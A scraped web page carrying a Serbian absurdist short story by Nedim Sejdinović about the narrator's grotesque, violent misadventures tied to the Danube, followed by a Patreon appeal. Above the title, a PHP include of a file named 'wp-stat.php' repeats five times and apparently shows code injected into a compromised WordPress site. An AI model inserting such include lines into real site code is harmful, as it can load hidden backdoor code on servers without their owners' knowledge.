@require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); Dunav teče mojim venama – Nedim Sejdinović

Dunav teče mojim venama

Postoje razne ljubavi: ljubav između čoveka i žene, svakodnednevna i zamorna; uzvišena ljubav između čoveka i čoveka, žene i žene, jeretična i suluda; ljubavi razne, između čoveka i sunca, između žene i meseca; i ljubav najviša u rangu svih ljubavi – ljubav između čoveka i reke.

Kada uveče, posle napornog posla koji traži neprekidnu pažnju, sednem pred televizor, misli obično počnu da vršljaju, da se kreću po zakucima prošlosti. Čega god da se setim vezano je za reku, ali ne bilo koju, nego reku koja, tako erotično i tako nonšalantno, protiče ispod moga prozora – Dunav. I sve što mi znači, sve što je urezano u sećanje kao nesvakidašnje, kao nešto zbog čega je vredelo živeti ili umreti, na svakoj fotografiji života moga vidi se Dunav.

Prvi put Dunav je obasjao moj pogled, davno, baš davno, kada smo krenuli u Mađarsku na odmor, u banju koju nikada nećemo videti – Harkanj. Otac, majka, brat i ja. Put je bio dug i zamoran, budio sam se i ponovo tonuo u san. Odjednom, otac je viknuo: ovo je Dunav! a mi smo, brat i ja, pogledali u tog džina od reke, taj ogromni tok koji se nikada ne zaustavlja…

Otac je rekao: Panta rei!, i, ne odvajajući pogled od Dunava, u želji da odgonetne smisao sveopšteg proticanja, izgubio kontrolu nad vozilom. Podleteli smo pod kamion koji je pristizao iz suprotnog smera. Bio je prasak, a onda mrak i tišina. Otac i majka su bili mrtvi. Ocu je lajsna sa prozora našeg “fijata 1300” probola srce, a majci je razmrskana lobanja. Delovi njenog mozga bili su svuda po putu, a čini mi se, nisam siguran, da je neki komadić odleteo i u reku. Brat i ja nismo povređeni. Za to zahvaljujem Dunavu. Osećao sam tada, nešto mi je govorilo u tim trenucima susreta sa smrću, a to osećanje me ne napušta ni danas: Dunav nam je spasao život.

Mnogo godina potom došao sam da studiram u Novi Sad. Čudna je bila ta 1988. godina – rat je lebdeo u vazduhu, osećao se početak bolesti koja će mnoge od nas razobličiti, razboleti, uništiti i usmrtiti. Savez komunista, u kojem sam bio aktivan kao mladi, provereni kadar, bio je u teškoj situaciji. Napadan i uništavan sa svih strana i iznutra, pokušavao je razumeti stvari oko sebe. Trebalo mu je mnogo informacija. Kao da se sistematizovanjem informacija mogla napraviti brana onom što je nemilosrdno rušilo sve pred sobom. Bio sam zadužen da neobavezno uhodim studente sa mog fakulteta, da osluškujem o čemu razgovaraju i šta planiraju da rade. Kao da su u tom sveopštem bruju neki pojedinačni glasovi, neke usamljene ili mnogo puta ponavljane, otrcane misli imale neko značenje.

Bila je noć. Šetajući se obalama Dunava, sa prijateljem sam “bistrio” politiku. Govorio sam mu da su pokušaji Kolakovskog da ponizi marksističku filozofiju i praksu neuspešni i u krajnjim konsekvencama smešni. I dok sam govorio, zagledan u Dunav, kao da iz njega crpem inspiraciju, opkolili su nas kratko ošišani mladići. Nosili su toljage i lance. Kurac će ga znati zašto su nasrnuli baš na nas. Niti su tražili novac, niti smo se poznavali. Tukli su nas, surovo i temeljito, skoro čitavu večnost, a potom nas odvukli na Žeželjev most. Usput smo susretali neke ljude, ali kao da nas niko nije primećivao. Sa mosta su nas bacili u Dunav.

Da je bila neka druga reka, verovatno ne bih preživeo, ali Dunav mi je pomogao. Izbacio me je kod Sremskih Karlovaca, nadutog od progutane vode. Neki ljudi su me spasili. Nisam čak imao nikakve posledice, osim što mi je blago skočio holesterol. Lekar je rekao da su uz dunavsku vodu verovatno progutao i nekog masnog dunavskog šarana. Prijatelj je loše prošao – opasne štuke ljudožderke su ga skroz izjele, tako da su kod Kladova pronašli samo deo njegovog lica – oko i komad nosa.

Na dunavskim sam kejovima uvek susretao dobre ljude i pronalazio reči za svoje mnogobrojne romane i pripovetke. Na keju sam jednom pao sa bicikla, slomio ruku, ali ne i nogu, ostao bez zubâ, ali sa čitavom vilicom. Na keju me je jednom ujeo doberman, otkinuo komad mišića sa potkolenice. Na keju sam sa starim ljudima razmenjivao svoje vizije za njihova iskustva. Ali sa Dunavom sam se zbratimio, konačno i zanavek, tek 1999. godine, onih dana kada su avioni NATO-pakta nadletali Novi Sad i gdegde bacili koju bombu. Bio sam sa braniocima mostova, tim ponositim ljudima, pevao naše narodne, izvorne i novokomponovane pesme, pesme koje nikad, doduše, nisam voleo, ali koje sam, odnekud, znao napamet. Nisu smeli ti avioni na nas, branioce, da bace bombu. Znali su vrlo dobro da ćemo mi svaku njihovu bombu uhvatiti zubima i raskomadati pre nego što eksplodira.

Međutim, bomba me je iznenadila kada sam bio sam. Na Dunavu. Dok sam vozio svog “spačeka”, slušao sam Stinga. Sting me je odmarao. Prelazio sam Most slobode. Bilo je negde oko osam uveče. Jednog trenutka sam osetio da idem u rikverc. Tek potom se čula eksplozija. Hitro sam iskočio iz automobila, neuspešno pokušavao da ga zadržim. Završio je u vodi. Uhvatio sam se za džep da zapalim cigaretu, ali sam shvatio da je paklica ostala u kolima. Potražio sam papirne maramice, ali i one su bile u “spačeku”, koji je lagano tonuo. Čak mi je i torbica, u kojoj sam, o nesreće, držao 50.000 maraka od upravo prodatog stana, završila u reci. Pogledao sam u Dunav, a on kao da mi je namignuo. Odjednom, zaglušujuća eksplozija, bomba je pala nekoliko metara od mene. Bacila me njemu u naručje.

Probudio se na Internoj klinici Pokrajinske bolnice. Pukao mi je jednjak, jer sam previše vode popio. Jednjak ima svoj kapacitet, a Dunav je beskonačan. Jednjak ne može toliko da izdrži. Jednostavno pukne.

Skoro svake večeri prošetam se do Mosta slobode. Pesnik je rekao da podseća na “pticu slomljenih krila”. Gledam u most, gledam u Dunav. Moj “spaček” je sigurno tu negde, iako ronioci nisu uspeli da ga pronađu. Uzmem kamen i bacim ga u reku. Sve mi se čini da ne potone, da ostane da pluta po površini. I da otplovi ko zna gde i ko zna kad.

Nedim Sejdinović

 

Sviđa vam se ovaj tekst? Odojite sekund vašeg vremena da podržite Nedima Sejdinovića preko Patreon-a!

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.